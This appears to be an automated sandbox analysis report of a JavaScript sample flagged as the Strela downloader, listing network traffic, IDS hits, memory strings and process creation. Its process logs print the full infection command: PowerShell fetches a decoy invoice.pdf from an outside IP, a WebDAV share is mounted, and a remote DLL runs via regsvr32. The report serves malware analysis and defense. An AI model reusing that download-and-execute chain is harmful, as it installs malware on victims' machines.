62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49721

Source: global traffic

TCP traffic: 192.168.2.7:49721 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.7:59906 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49705 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1344717204.000001CC743E7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1346254483.000001CC74340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1391223183.0000015BBA4BA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1391045212.0000015BBA4DC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1392916001.0000015BBA4DE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1392841210.0000015BBA4BA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1392773228.0000015BBA488000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1391223183.0000015BBA4BA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1392841210.0000015BBA4BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/X
Source: net.exe, 00000007.00000002.1392773228.0000015BBA488000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sce
Source: svchost.exe, 00000009.00000002.2634582302.0000011386800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.1395241717.0000011386540000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7296, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 20512268371239412475.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7388:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1jy5d5jg.mfo.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20512268371239412475.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1756,i,12993817421295818475,10483446621615758159,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1756,i,12993817421295818475,10483446621615758159,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
